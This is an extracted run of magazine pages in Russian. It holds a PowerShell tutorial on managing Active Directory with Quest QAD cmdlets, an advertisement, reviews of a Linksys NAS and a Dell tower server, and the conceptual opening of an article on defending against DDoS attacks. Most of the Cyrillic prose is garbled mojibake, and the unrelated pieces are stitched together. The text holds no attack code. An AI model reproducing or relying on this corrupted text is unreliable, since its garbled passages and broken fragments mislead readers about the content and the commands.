• óïðàâëÿòü ÷ëåíñòâîì â ãðóïïàõ, ïîëó÷àòü ñïèñîê ãðóïï, â êîòîðûå 
âêëþ÷åí àêêàóíò;
• óïðàâëÿòü ïîëèòèêîé ïàðîëåé äîìåíà;
• ïåðåìåùàòü êîíòðîëëåðû äîìåíà ìåæäó ñàéòàìè è ïîëó÷àòü èí-
ôîðìàöèþ î ÊÄ;
• óïðàâëÿòü ïîëèòèêîé ðåïëèêàöèè ïàðîëÿ êîíòðîëëåðà äîìåíà 
òîëüêî äëÿ ÷òåíèÿ;
• óïðàâëÿòü äîìåíàìè è ëåñàìè, óñòàíàâëèâàòü ôóíêöèîíàëüíûé 
óðîâåíü äîìåíà è ëåñà.
×òîáû óñòàíîâèòü AD PowerShell â Win7, íàäî èíñòàëëèðîâàòü RSAT 
(Microsoft Remote Server Administration Tools, technet.microsoft.
com/ru-ru/library/cc730825.aspx). Ïîñëå ÷åãî AD PowerShell ìîæ-
íî çàãðóçèòü ïðÿìî èç ìåíþ «Ïðîãðàììû è êîìïîíåíòû» (Turn 
Windows Features on or off — Remote Server Administration Tools — 
Role Administration Tools — AD DS and LDS Tools — Active Directory 

PowerShell snap-in). Íà ñåðâåðå Win2k8R2 íóæíûé êîìïîíåíò ñòàâèò-
ñÿ åùå ïðîùå:

PS> Add-WindowsFeature -Name "RSAT-AD-PowerShell" 

–IncludeAllSubFeature

Äëÿ çàãðóçêè ìîäóëÿ AD PowerShell íàáèðàåì:

PS> import-module activedirectory

Ê ïðèìåðó, ïîëó÷èì âñå ÊÄ òåêóùåãî äîìåíà:

PS> Get-ADDomainController -Filter { name -like "*" }

Òàêæå ïîÿâèëèñü êîìàíäëåòû äëÿ ðàáîòû ñ AD îò ñòîðîííèõ ðàç-
ðàáîò÷èêîâ. Î÷åíü ïîïóëÿðíû ñâîáîäíî ðàñïðîñòðàíÿåìûå AD 
PowerShell cmdlets (èõ åùå íàçûâàþò QAD cmdlets), ðàçðàáîòàííûå 
Quest Software (www.quest.com/activeroles-server/arms.aspx). Â 

ýòîì íàáîðå èìåíà êîìàíäëåòîâ ñîñòàâëåíû èç ñòàíäàðòíîé ïàðû 

«äåéñòâèå-îáúåêò». Íà ïåðâîé ïîçèöèè ñòîÿò âñå òå æå àíãëèéñ-
êèå ãëàãîëû Get-, Set-, New-, Move-, Remove-, Rename- è òàê äà-

ëåå. Íà âòîðîé — îïèñàíèå îáúåêòà ñ ïðåôèêñîì QAD (-QADUser, 
-QADComputer, -QADGroup, -QADObject). Ïîëó÷èòü ñïèñîê äî-

ñòóïíûõ QAD êîìàíäëåòîâ î÷åíü ïðîñòî:

PS> Get-QCommand

Åñëè ðàáîòàåì ïîä îáû÷íîé ó÷åòíîé çàïèñüþ, ïîäêëþ÷èìñÿ ê 
êîíòðîëëåðó äîìåíà â êà÷åñòâå àäìèíèñòðàòîðà:

PS> $pw = read-host "Enter password" -AsSecureString

***********

PS> Ñonnect-QADService -service 'localhost' -proxy 

-ConnectionAccount 'testdomain\administrator' 

-ConnectionPassword $pw

Äëÿ íà÷àëà ïîëó÷èì ñïèñîê ïîëüçîâàòåëåé è çàòåì êîìïüþòå-
ðîâ:

PS> Get-QADUser | Get-Member

PS> Get-QADComputer

×òîáû óçíàòü èíôîðìàöèþ ïî îòäåëüíîìó ïîëüçîâàòåëþ è ïàðà-
ìåòðó, ïðîñòî ïîäñòàâëÿåì åãî â âûçîâ:
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PS> Get-QADUser Vasja -Properties ManagedObjects

Òåïåðü ïðîñìîòðèì ñïèñîê ïîëüçîâàòåëåé, êîòîðûå íå ðåãèñòðè-
ðîâàëèñü 2 ìåñÿöà è ñîõðàíèì âûâîä â HTML-ôàéë:

PS> $last2months = (Get-Date).AddMonths(-2)

PS> Get-QADUser -IncludedProperties LastLogon | 

where { $_.lastLogon -le $last2months} | Select 

DisplayName, LastLogon, AccountIsDisabled | ?{-not 

$_.AccountIsDisabled} | ConvertTo-Html | Out-File c:\

report.html

×òîáû â îò÷åò íå ïîïàëè îòêëþ÷åííûå ó÷åòíûå çàïèñè, â êîìàíäå 
ïðîêîíòðîëèðîâàëè çíà÷åíèå AccountIsDisabled. Çíàê «?» ÿâëÿåò-
ñÿ àëèàñîì «Where-Object»; ñïåöèàëüíàÿ ïåðåìåííàÿ «$_», êîòîðàÿ 
÷àñòî èñïîëüçóåòñÿ â ñêðèïòàõ PowerShell, óêàçûâàåò íà òåêóùèé 
îáúåêò.
Ñòîèò îòìåòèòü, àòðèáóò LastLogon íå ðåïëèöèðóåòñÿ ìåæäó êîí-

òðîëëåðàìè äîìåíà, ïîýòîìó åñëè â ñåòè èõ íåñêîëüêî, òî ýòî çíà-
÷åíèå ñëåäóåò ïîëó÷èòü ñ êàæäîãî ÊÄ. Ïîëó÷èì ñïèñîê ÊÄ è çàòåì 

îïðîñèì êàæäûé íà ïðåäìåò LastLogon:

PS> Get-QADComputer -ComputerRole DomainController | 

foreach {

(Get-QADUser -Service $_.Name -SamAccountName 

username).LastLogon.Value

}

À òåïåðü âûáåðåì âñåõ ïîëüçîâàòåëåé èç îòäåëà Sales, ïðîæèâàþ-
ùèõ â Ìîñêâå, è óêàæåì äëÿ íèõ íîâûé íîìåð òåëåôîíà:

PS> Get-QADUser -City Moscow -Department Sales | Set-

QADUser -PhoneNumber ‘495-1111111’

Ñîçäàäèì íîâóþ äîìåííóþ ó÷åòíóþ çàïèñü:

PS> New-QADUser -name 'user' -ParentContainer 'OU=test

OU,DC=testdomain,DC=local' -UserPassword 'P@ssword'

×òîáû îòêëþ÷èòü, âêëþ÷èòü èëè ðàçáëîêèðîâàòü ó÷åòíóþ çà-
ïèñü, ñëåäóåò èñïîëüçîâàòü êîìàíäëåòû Disable-QADUser, Enable-
QADUser è Unlock-QADUser, ñîîòâåòñòâåííî. Òàêæå ïðîñòî ñîçäà-
âàòü íîâûå îáúåêòû:

PS> New-QADObject -type OrganizationUnit 

-ParentContainer teststomain.local -Name NewOU

Òåïåðü ïåðåìåñòèì â ñîçäàííûé êîíòåéíåð ðÿä ó÷åòíûõ çàïè-
ñåé:

PS> Get-QADUser -Department Sales | Move-QADObject -To 

testsdomain.local/Sales

Óïðàâëåíèå ãðóïïàìè âûãëÿäèò àíàëîãè÷íî:

PS> Get-QADGroupMember Scorpio\Managers | where { 

$_.City -eq ‘Ekaterinburg’} | Add-QADGroupMember 

Scorpio\Ekaterinburg_Managers

Ýêñïåðèìåíòèðóÿ ñ PowerShell, ìîæíî ëåãêî îøèáèòüñÿ, ïîýòîìó 
ïðè èçìåíåíèè îáúåêòîâ AD ëó÷øå çàïóñòèòü âûïîëíåíèå ñ êëþ-

÷îì «-whatif» (÷òî åñëè). Â ýòîì ñëó÷àå âìåñòî äåéñòâèòåëüíîãî 
èçìåíåíèÿ ïàðàìåòðîâ ñêðèïò âûâåäåò â êîíñîëü âñå, ÷òî îí äîë-

æåí ñäåëàòü. 

ЗАКЛЮЧЕНИЕ Ó÷èòûâàÿ âîçìîæíîñòè, ïðåäîñòàâëÿåìûå 
îáîëî÷êîé PowerShell, è íàëè÷èå îãðîìíîãî ÷èñëà ãîòîâûõ êî-

ìàíäëåòîâ, ñòîèò ïîòðàòèòü âðåìÿ íà åå èçó÷åíèå. Ýòî ñ ëèõâîé 
îêóïèòñÿ çà ñ÷åò àâòîìàòèçàöèè ðóòèííûõ îïåðàöèé. z

Совет №4. 
Пей и ешь био-овсяные продукты VELLE!
Лето закончилось, проблемы начались — и их 
надо «ломать». Меньше холестерина и вред-
ных веществ, больше витаминов и жизненной 
энергии – всё это, а также отличный вкус пода-
рит тебе VELLE. Подробнее ты можешь позна-
комиться с VELLE в сетевых супермаркетах и на 
www.velleoats.com 

ХОСТ POSHCONSOLE ДЛЯ РАБОТЫ С POWERSHELL
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Ñòîå÷íàÿ NAS-ñèñòåìà íà÷àëüíîãî óðîâíÿ 
NSS4000 îòëè÷íî ïîäõîäèò äëÿ õðàíåíèÿ êîí-
ôèäåíöèàëüíîé èíôîðìàöèè è ëþáûõ äðóãèõ 

äàííûõ íåáîëüøîé ðàáî÷åé ãðóïïû èëè ìà-
ëîãî îôèñà. Îíà ïîääåðæèâàåò äî 4 SATA-äèñ-
êîâ, îáúåäèíåííûõ â RAID-ìàññèâ óðîâíÿ 0, 1, 

1+Spare, 5, 5+Spare, 10 èëè JBOD.
Êëþ÷åâàÿ îñîáåííîñòü ñèñòåìû — â íàëè÷èè 
ñðàçó íåñêîëüêèõ ìåõàíèçìîâ îáåñïå÷åíèÿ 
äîñòóïíîñòè è ìàñøòàáèðóåìîñòè äàííûõ. 
NSS4000 ïîçâîëÿåò îáúåäèíÿòü íåñêîëüêî NAS-

ñèñòåì â îäíó ñ èñïîëüçîâàíèåì ôàéëîâîé ñèñ-
òåìû DFS (Distributed File System), ïîääåðæèâà-
åò ìåõàíèçì «âèðòóàëèçàöèè» RAID-ìàññèâîâ, 

ïðè êîòîðîì îäèí ìàññèâ «ðàçìàçûâàåòñÿ» ïî 
íåñêîëüêèì NAS-ñèñòåìàì, è ìîæåò ïðîèçâî-
äèòü áýêàï äàííûõ íà äðóãóþ NAS-ñèñòåìó ïî 
ñåòè â àâòîìàòèçèðîâàííîì ðåæèìå.
Îñîáîãî âíèìàíèÿ çàñëóæèâàåò ÎÑ íà áàçå ÿäðà 

Linux 2.6, êîòîðàÿ ðàçìåùåíà âî âñòðîåííîé 

ôëåø-ïàìÿòè îáúåìîì 512 Ìá. Linux îáåñïå÷èâà-
åò òàêèå âîçìîæíîñòè êàê: èñïîëüçîâàíèå ïðîèç-

âîäèòåëüíîé æóðíàëèðóåìîé ôàéëîâîé ñèñòåìû 
XFS, êâîòû äëÿ ïîëüçîâàòåëåé è ãðóïï, ñïèñêè êîí-
òðîëÿ äîñòóïà (ACL), óíèâåðñàëüíûå áëîêèðîâêè, 
êîòîðûå ïîçâîëÿþò èçáåæàòü ïîâðåæäåíèÿ äàí-
íûõ ïðè äîñòóïå ê îäíîìó ôàéëó ïî íåñêîëüêèì 

ïðîòîêîëàì, øèôðîâàíèå (àëãîðèòì AES 256), 
ñîçäàíèå âèðòóàëüíûõ ëîêàëüíûõ ñåòåé (VLAN), 
ôèëüòðàöèÿ MAC/IP-àäðåñîâ è, êîíå÷íî æå, âûñî-

êàÿ ïðîèçâîäèòåëüíîñòü ïðè äîñòóïå ê äàííûì.
Ñèñòåìà ïîääåðæèâàåò ñòàíäàðòíûé íàáîð 
ïðîòîêîëîâ, îáåñïå÷èâàþùèõ äîñòóï ê äàí-
íûì: SMB/CIFS, NFS, FTP/FTPS, è óìååò ðàáî-
òàòü ñî ñëóæáîé êàòàëîãîâ Active Directory. Äëÿ 

óïðàâëåíèÿ èñïîëüçóåòñÿ web-èíòåðôåéñ, à äëÿ 
ìîíèòîðèíãà — ïðîòîêîë SNMPv3. Â ñîñòàâ ÏÎ 
òàêæå âõîäÿò êëèåíòû TFTP è DHCP. Ïðåäóñìîò-

ðåí ìåõàíèçì îïîâåùåíèÿ î ñîáûòèÿõ, ñáîÿõ è 
àíîìàëèÿõ. Äëÿ áîëüøåé íàäåæíîñòè àäìè-

íèñòðàòîð ìîæåò îñíàñòèòü óñòðîéñòâî äîïîë-
íèòåëüíûì èñòî÷íèêîì ïèòàíèÿ (RPS1000) 
è óñòðîéñòâîì áåñïåðåáîéíîãî ïèòàíèÿ (APC 

Smart-UPS). 
Â êîðïóñ óñòàíîâëåí áëîê ïèòàíèÿ ìîùíîñòüþ 
150 Âò. Åãî ñ ëèõâîé õâàòàåò äëÿ ïèòàíèÿ âñåõ 

êîìïîíåíòîâ óñòðîéñòâà (ïî çàÿâëåíèÿì êîì-
ïàíèè-ïðîèçâîäèòåëÿ, NSS4000 ïîòðåáëÿåò 53 
Âàòòà ýíåðãèè ïðè óñòàíîâêå 4 æåñòêèõ äèñêîâ 
ïî 250 Ãá êàæäûé). Âåíòèëÿòîðû îñíàùåíû 
òåðìàëüíûìè ñåíñîðàìè, êîòîðûå ïðèîñòàíàâ-

ëèâàþò èõ âðàùåíèå, åñëè òåìïåðàòóðà âíóòðè 
êîðïóñà îïóñêàåòñÿ äî ïðèåìëåìîãî óðîâíÿ. 
Òåìïåðàòóðíûå ïîðîãè, ïðè êîòîðûõ óñòðîéñ-

òâî íå äîëæíî äàâàòü ñáîè, ñîñòàâëÿþò îò 0 äî 
45 ãðàäóñîâ.
Ñðîê ãàðàíòèè – 2 ãîäà ïëþñ 1 ãîä, â òå÷åíèå êî-
òîðîãî âëàäåëåö ìîæåò çàìåíèòü âûøåäøèé èç 
ñòðîÿ âåíòèëÿòîð èëè áëîê ïèòàíèÿ.

Ñòîèìîñòü: 33000 ðóá.
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Диски в стойку

Технические характеристики
Linksys NSS4000
>Жесткие диски:
До 4 жестких дисков SATA (3,5’’) с подде-
ржкой «горячего» подключения

> Функции RAID:
RAID 0, 1, 1+Spare, 5, 5+Spare, 10, JBOD
Поддержка «виртуализации» RAID (требу-
ется, как минимум, один NSS6000/6100 в 
сети)
Бэкап RAID-массивов на другой NAS по 
сети

> Методы доступа:
SMB/CIFS, NFS, FTP/FTPS

> Безопасность:
Поддержка шифрования файлов с использо-
ванием алгоритма AES 256
VLAN (802.1q/p)
Поддержка ACL
Фильтрация MAC/IP-адресов

> Интерфейсные порты:
2 порта AUX (поддержка USB-flash для бэка-
па конфигурации)

1 порт UPS-USB (только APC Smart-UPS)
1 коннектор RPSU (для подключения резерв-
ного источника питания)

> Особенности:
512 Мб внутренней flash-памяти
Предустановлена ОС на базе Linux 2.6
Файловая система XFS
Механизм блокировки файлов
Возможность использования 
нескольких NAS-систем в качестве одной 
(DFS)

> Функции управления:
Управление через HTTP/HTTPS
Мониторинг (SNMPv3)

> Охлаждение:
Вентиляторы с термальными сенсорами

> Питание:
Блок питания мощностью 150 Вт

> Исполнение:
Для установки в стойку 19’’ (440 x 44 x 420 мм)

> Гарантийное обслуживание:
Срок гарантии: 2 года (1 год на вентиляторы 
и блок питания)

NSS4000:
Стоечный NAS от Linksys

SYN\ACK
  NATHAN BINKERT / NAT@SYNACK.RU / 
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Dell PowerEdge T410:
двухпроцессорный сервер в корпусе Tower

Производительность 
за гранью возможного

Технические характеристики 
Dell PowerEdge T410
> Процессор:
До 2 процессоров Intel Xeon серии 5500
> Чипсет:
Intel 5500
> Память:
До 64 Гб (8 разъемов DIMM2) памяти DDR3 
1333/1066/800 МГц
Без буфера с ECC или регистровые с ECC 
при 1333/1066/800 МГц
> Жесткие диски:
До 6 жестких дисков SATA/SAS (2,5” или 3,5”, 
поддержка смешанных конфигураций) с 
возможностью «горячего» подключения
Максимальный объем: 6 Тб

> Поддержка RAID:
RAID-контроллер в качестве опции (PERC 6i, 
SAS 6/iR, PERC 6/E, SAS 6E)

> Сетевой интерфейс:
Двухпортовый контроллер Gigabit Ethernet 
(Broadcom NetXtreme II 5716)

> Питание:
Без резервирования, 525 Вт (эффективность 
более 80%)
Резервирование (опционально), 500 Вт 
(эффективность более 80%, GOLD)
Автонастройка (100~240 В)

> Расширение:
2 разъема PCI-Express x8 (маршрутизация 
x4, Gen2), половинной длины
1 разъем PCI-Express x16 (маршрутизация 
x8, Gen2), половинной длины
1 разъем PCI-Express x8 (маршрутизация x4, 
Gen1), максимальной длины
1 разъем PCI-Express x8 (маршрутизация x4, 
Gen2), максимальной длины

> Внешние порты ввода-вывода:
6 портов USB 2.0 (2 спереди)
4 порта RJ-45
1 последовательный порт
1 разъем VGA

> Функции управления:
Передняя панель с ЖК-экраном
Dell OpenManage с консолью управления Dell
BMC, совместимый с IPMI 2.0
Опционально: iDRAC6 Express, iDRAC6 
Enterprise и Vflash

> Другое:
Встроенная графическая плата Matrox 
G200eW (8 Мб)

> Исполнение:
Tower (444,9 x 217,9 x 616,8 мм)

> Гарантийное обслуживание:
Срок гарантии: 3 года

Áàøåííûé ñåðâåð PowerEdge T410 â ïåðâóþ 
î÷åðåäü èíòåðåñåí òåì, ÷òî âõîäèò â ëèíåé-

êó îäèííàäöàòîãî ïîêîëåíèÿ ñåðâåðíûõ 
ïðîäóêòîâ PowerEdge, ñ ïîìîùüþ êîòîðîãî 
êîìïàíèÿ Dell íàìåðåíà âûâåñòè ñâîè ñèñòå-

ìû íà íîâûé óðîâåíü è ïîòÿãàòüñÿ ñèëàìè ñ 
ãèãàíòàìè â ëèöå IBM è HP. PowerEdge T410 
— ýòî íåäîðîãîé è ïðîèçâîäèòåëüíûé ñåðâåð 
íà÷àëüíîãî óðîâíÿ, ïðåäíàçíà÷åííûé äëÿ 
íåáîëüøèõ êîìïàíèé, îôèñû êîòîðûõ íå îñ-

íàùåíû ñåðâåðíûìè êîìíàòàìè. Ýòî ìëàä-
øàÿ ìîäåëü ëèíåéêè PowerEdge, íå óíàñëåäî-
âàâøàÿ âñåõ ïåðåäîâûõ íîâîââåäåíèé ñâîèõ 

ñòàðøèõ áðàòüåâ, íî îáëàäàþùàÿ ÷ðåçâû÷àé-
íî ïðèâëåêàòåëüíûìè õàðàêòåðèñòèêàìè è 
íåâûñîêîé öåíîé. Ñåðâåð ïîñòðîåí íà áàçå 
äâóõ ïðîöåññîðîâ ëèíåéêè Intel Xeon 5500 è 
ìîæåò áûòü îñíàùåí äî 64 Ãá îïåðàòèâíîé 

ïàìÿòè DDR3 ñ ïîääåðæêîé ðåçåðâèðîâàíèÿ 
è êîððåêöèè îøèáîê. Â êà÷åñòâå óñòðîéñòâ 
õðàíåíèÿ ìîãóò áûòü èñïîëüçîâàíû 6 æåñò-

êèõ äèñêîâ SATA/SAS (2,5’’ èëè 3,5’’), êàæäûé 

èç êîòîðûõ ðàñïîëàãàåòñÿ â êîðçèíå «ãîðÿ-
÷åé» çàìåíû (ïðåäóñìîòðåíû è ãèáðèäíûå 
êîðçèíû 3,5’’ äëÿ äèñêîâ 2,5’’). Íà ìàòåðèíñ-
êîé ïëàòå ðàñïîëîæåíî ÷åòûðå ðàçúåìà PCI-
Express x8 è îäèí PCI-Express x16.

Âíóòðåííèé äèçàéí êîðïóñà íàãëÿäåí è 
ïðîñò. Âñå êîìïîíåíòû çàêðåïëåíû òàêèì 
îáðàçîì, ÷òî îòâåðòêà ïîòðåáóåòñÿ òîëüêî â 

ñëó÷àå çàìåíû îñíîâíîãî áëîêà ïèòàíèÿ. Ñ 
âíåøíåé ñòîðîíû íà ïåðåäíåé ïàíåëè óñòà-
íîâëåí ïðîãðàììèðóåìûé ÆÊ-äèñïëåé. Íà 
íåì îòîáðàæàåòñÿ èíôîðìàöèÿ î ñîñòîÿíèè 
ñèñòåìû, ïîòðåáëÿåìîé ìîùíîñòè è òåìïå-

ðàòóðå âíóòðè êîðïóñà.
Â îòëè÷èå îò ñâîèõ ñòàðøèõ ñîáðàòüåâ, 
PowerEdge T410 îñíàùåí ñòàíäàðòíîé è íå 

ñîâñåì óäîáíîé ñèñòåìîé óäàëåííîãî óïðàâ-
ëåíèÿ OpenManage. Äîïîëíèòåëüíî â ñåðâåð 
ìîæíî óñòàíîâèòü êàðòó óäàëåííîãî äîñòóïà 
iDRAC6 Express èëè iDRAC6 Enterprise, êîòî-

ðàÿ ïîçâîëÿåò óäàëåííî ïðîèçâîäèòü ìîíè-
òîðèíã, èñïðàâëåíèå âîçíèêàþùèõ ïðîáëåì 

è îáíîâëåíèÿ ÷åðåç ãðàôè÷åñêèé èíòåðôåéñ, 
âíå çàâèñèìîñòè îò ñîñòîÿíèÿ îïåðàöèîí-
íîé ñèñòåìû. Ïîìèìî ýòîãî, êàðòà îñíàùåíà 

ñïåöèàëüíûì òâåðäîòåëüíûì íàêîïèòåëåì, 
êîòîðûé ñîäåðæèò äðàéâåðà äëÿ âñåõ ïîä-
äåðæèâàåìûõ ÎÑ, ìèêðîêîä, BIOS, óòèëèòû 
íàñòðîéêè è îïöèîíàëüíûé çàãðóçî÷íûé 
îáðàç.

Ñåðâåð îòëè÷àåòñÿ âûñîêèì óðîâíåì ýíåðãîñ-
áåðåæåíèÿ è íèçêèì óðîâíåì øóìà, áëàãîäàðÿ 
òåõíîëîãèè Energy Smart, èñïîëüçîâàíèþ ïðî-

öåññîðîâ Intel Xeon 5500 ñ èíòåëëåêòóàëüíîé 
ñèñòåìîé ðåãóëèðîâàíèÿ ïðîèçâîäèòåëüíîñòè 
è ïîäà÷è ïèòàíèÿ, à òàêæå áëîêàì ïèòàíèÿ ñ 
âûñîêèì ÊÏÄ.
Ãàðàíòèÿ íà ñåðâåð ñîñòàâëÿåò 3 ãîäà ñ âîçìîæ-

íîñòüþ ñåðâåðíîãî îáñëóæèâàíèÿ â ñèñòåìå 
Dell ProSupport. 
Ñòîèìîñòü: îò 35000 ðóá.
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Твое утро начинается с чтения багрепортов и анализа логов. Ты еже-
дневно обновляешь ПО и ежечасно дорабатываешь правила брандмау-
эра. Snort твой лучший друг, а Zabbix — невидимый помощник. Ты пост-
роил настоящий бастион, к которому не подобраться ни с одной стороны. 
Но! Ты совершенно беззащитен против самой коварной и подлой атаки 
на свете — DDoS.

Устоять 
любой ценой

Òðóäíî ñêàçàòü, êîãäà âïåðâûå ïîÿâèëñÿ 
òåðìèí DoS-àòàêà. Ñïåöèàëèñòû ãîâîðÿò î 
1996-ì, ïîïóòíî íàìåêàÿ, ÷òî äî øèðîêèõ 
ìàññ ýòîò òèï àòàê «äîøåë» òîëüêî â 1999 
ãîäó, êîãäà îäèí çà äðóãèì ïîïàäàëè web-ñàé-
òû Amazon, Yahoo, CNN è eBay. Åùå ðàíüøå 
DoS-ýôôåêò èñïîëüçîâàëè äëÿ òåñòèðîâàíèÿ 
óñòîé÷èâîñòè ñèñòåì è êàíàëîâ ñâÿçè. À åñëè 
êîïíóòü ãëóáæå è âîñïîëüçîâàòüñÿ òåðìèíîì 
DoS äëÿ îáîçíà÷åíèÿ ÿâëåíèÿ, òî ñòàíîâèòñÿ 
ÿñíî, ÷òî îí ñóùåñòâîâàë âñåãäà, ñî âðåìåí 
ïåðâûõ ìåéíôðåéìîâ. Âîò òîëüêî çàäóìû-
âàòüñÿ î íåì êàê î ñðåäñòâå óñòðàøåíèÿ íà÷à-
ëè ãîðàçäî ïîçæå.
Ãîâîðÿ ïðîñòûì ÿçûêîì, DoS-àòàêè — ýòî íå-
êîòîðûé âèä çëîíàìåðåííîé äåÿòåëüíîñòè, 
ñòàâÿùåé ñâîåé öåëüþ äîâåñòè êîìïüþòåð-
íóþ ñèñòåìó äî òàêîãî ñîñòîÿíèÿ, êîãäà îíà 

íå ñìîæåò îáñëóæèâàòü ïðàâîìåðíûõ ïîëüçî-
âàòåëåé èëè ïðàâèëüíî âûïîëíÿòü âîçëîæåí-
íûå íà íåå ôóíêöèè. Ê ñîñòîÿíèþ «îòêàç â îá-

ñëóæèâàíèè» îáû÷íî ïðèâîäÿò îøèáêè â ÏÎ 
èëè ÷ðåçìåðíàÿ íàãðóçêà íà ñåòåâîé êàíàë 
èëè ñèñòåìó â öåëîì. Â ðåçóëüòàòå, ÏÎ ëèáî 
âñÿ îïåðàöèîííàÿ ñèñòåìà ìàøèíû «ïàäàåò» 
èëè æå îêàçûâàåòñÿ â «çàöèêëåííîì» ñîñòîÿ-

íèè. À ýòî ãðîçèò ïðîñòîÿìè, ïîòåðåé ïîñåòè-
òåëåé/êëèåíòîâ è óáûòêàìè.

АНАТОМИЯ DOS-АТАК DoS-àòàêè ïîäðàç-
äåëÿþòñÿ íà ëîêàëüíûå è óäàëåííûå. Ê 
ëîêàëüíûì îòíîñÿòñÿ ðàçëè÷íûå ýêñïëîéòû, 
ôîðê-áîìáû è ïðîãðàììû, îòêðûâàþùèå ïî 

ìèëëèîíó ôàéëîâ èëè çàïóñêàþùèå íåêèé 
öèêëè÷åñêèé àëãîðèòì, êîòîðûé ñæèðàåò 

ïàìÿòü è ïðîöåññîðíûå ðåñóðñû. Íà âñåì 
ýòîì ìû îñòàíàâëèâàòüñÿ íå áóäåì. À âîò óäà-
ëåííûå DoS-àòàêè ðàññìîòðèì ïîäðîáíåå. 
Îíè äåëÿòñÿ íà äâà âèäà:

1. Óäàëåííàÿ ýêñïëóàòàöèÿ îøèáîê â ÏÎ ñ öå-
ëüþ ïðèâåñòè åãî â íåðàáî÷åå ñîñòîÿíèå.

2. Flood — ïîñûëêà íà àäðåñ æåðòâû îãðîì-
íîãî êîëè÷åñòâà áåññìûñëåííûõ (ðåæå — 
îñìûñëåííûõ) ïàêåòîâ. Öåëüþ ôëóäà ìîæåò 
áûòü êàíàë ñâÿçè èëè ðåñóðñû ìàøèíû. Â 
ïåðâîì ñëó÷àå ïîòîê ïàêåòîâ çàíèìàåò âåñü 
ïðîïóñêíîé êàíàë è íå äàåò àòàêóåìîé ìà-
øèíå îáðàáàòûâàòü ëåãàëüíûå çàïðîñû. Âî 
âòîðîì — ðåñóðñû ìàøèíû çàõâàòûâàþòñÿ 
ñ ïîìîùüþ ìíîãîêðàòíîãî è î÷åíü ÷àñòîãî 
îáðàùåíèÿ ê êàêîìó-ëèáî ñåðâèñó, âûïîëíÿ-
þùåìó ñëîæíóþ, ðåñóðñîåìêóþ îïåðàöèþ. 
Ýòî ìîæåò áûòü, íàïðèìåð, äëèòåëüíîå îá-

ðàùåíèå ê îäíîìó èç àêòèâíûõ êîìïîíåí-
òîâ (ñêðèïòó) web-ñåðâåðà. Ñåðâåð òðàòèò 
âñå ðåñóðñû ìàøèíû íà îáðàáîòêó çàïðîñîâ 

àòàêóþùåãî, à ïîëüçîâàòåëÿì ïðèõîäèòñÿ 
æäàòü.
Â òðàäèöèîííîì èñïîëíåíèè (îäèí àòàêó-
þùèé — îäíà æåðòâà) ñåé÷àñ îñòàåòñÿ ýô-
ôåêòèâíûì òîëüêî ïåðâûé âèä àòàê. Êëàññè-

÷åñêèé ôëóä áåñïîëåçåí. Ïðîñòî ïîòîìó ÷òî 
ïðè ñåãîäíÿøíåé øèðèíå êàíàëà ñåðâåðîâ, 
óðîâíå âû÷èñëèòåëüíûõ ìîùíîñòåé è ïîâ-

ñåìåñòíîì èñïîëüçîâàíèè ðàçëè÷íûõ àíòè-
DoS ïðèåìîâ â ÏÎ (íàïðèìåð, çàäåðæêè ïðè 
ìíîãîêðàòíîì âûïîëíåíèè îäíèõ è òåõ æå 
äåéñòâèé êëèåíòîì), àòàêóþùèé ïðåâðàùà-
åòñÿ â íàäîåäëèâîãî êîìàðà, íå ñïîñîáíîãî 

íàíåñòè êàêîé áû òî íè áûëî óùåðá. Íî åñëè 

ýòèõ êîìàðîâ íàáåðóòñÿ ñîòíè, òûñÿ÷è èëè 
äàæå ñîòíè òûñÿ÷, îíè ëåãêî ïîëîæàò ñåðâåð 
íà ëîïàòêè. Òîëïà — ñòðàøíàÿ ñèëà íå òîëüêî 
â æèçíè, íî è â êîìïüþòåðíîì ìèðå. Ðàñïðå-
äåëåííàÿ àòàêà òèïà «îòêàç â îáñëóæèâàíèè» 
(DDoS), îáû÷íî îñóùåñòâëÿåìàÿ ñ ïîìîùüþ 
ìíîæåñòâà çîìáèôèöèðîâàííûõ õîñòîâ, ìî-
æåò îòðåçàòü îò âíåøíåãî ìèðà äàæå ñàìûé 
ñòîéêèé ñåðâåð, è åäèíñòâåííàÿ ýôôåêòèâ-
íàÿ çàùèòà — îðãàíèçàöèÿ ðàñïðåäåëåííîé 
ñèñòåìû ñåðâåðîâ (íî ýòî ïî êàðìàíó äàëåêî 
íå âñåì, ïðèâåò Google).

МЕТОДЫ БОРЬБЫ Îïàñíîñòü áîëüøèíñòâà 
DDoS-àòàê — â èõ àáñîëþòíîé ïðîçðà÷íîñòè 

è «íîðìàëüíîñòè». Âåäü åñëè îøèáêà â ÏÎ 
âñåãäà ìîæåò áûòü èñïðàâëåíà, òî ïîëíîå 
ñæèðàíèå ðåñóðñîâ — ÿâëåíèå ïî÷òè îáûäåí-
íîå. Ñ íèì ñòàëêèâàþòñÿ ìíîãèå àäìèíèñ-
òðàòîðû, êîãäà ðåñóðñîâ ìàøèíû (øèðèíû 

êàíàëà) ñòàíîâèòñÿ íåäîñòàòî÷íî, èëè web-
ñàéò ïîäâåðãàåòñÿ ñëýøäîò-ýôôåêòó (twitter.
com ñòàë íåäîñòóïåí óæå ÷åðåç íåñêîëüêî ìè-

íóò ïîñëå ïåðâîãî èçâåñòèÿ î ñìåðòè Ìàéêëà 
Äæåêñîíà). È åñëè ðåçàòü òðàôèê è ðåñóðñû 
äëÿ âñåõ ïîäðÿä, òî ñïàñåøüñÿ îò DDoS, íî 
ïîòåðÿåøü äîáðóþ ïîëîâèíó êëèåíòîâ.

Âûõîäà èç ýòîé ñèòóàöèè ôàêòè÷åñêè íåò, 
îäíàêî ïîñëåäñòâèÿ DDoS-àòàê è èõ ýôôåê-
òèâíîñòü ìîæíî ñóùåñòâåííî ñíèçèòü çà 

ñ÷åò ïðàâèëüíîé íàñòðîéêè ìàðøðóòèçà-
òîðà, áðàíäìàóýðà è ïîñòîÿííîãî àíàëèçà 
àíîìàëèé â ñåòåâîì òðàôèêå. Â ñëåäóþùåé 
÷àñòè ñòàòüè ìû ïîñëåäîâàòåëüíî ðàññìîò-
ðèì: 

Методы борьбы с DoS/DDoS-атаками

SYN\ACK
  ЕВГЕНИЙ ЗОБНИН / J1M@SYNACK.RU / 



XÀÊÅÐ  09  /129/  09

• ñïîñîáû ðàñïîçíàâàíèÿ íà÷èíàþùåéñÿ DDoS-àòàêè;

• ìåòîäû áîðüáû ñ êîíêðåòíûìè òèïàìè DDoS-àòàê;

• óíèâåðñàëüíûå ñîâåòû, êîòîðûå ïîìîãóò ïîäãîòîâèòüñÿ ê DoS-

àòàêå è ñíèçèòü åå ýôôåêòèâíîñòü.

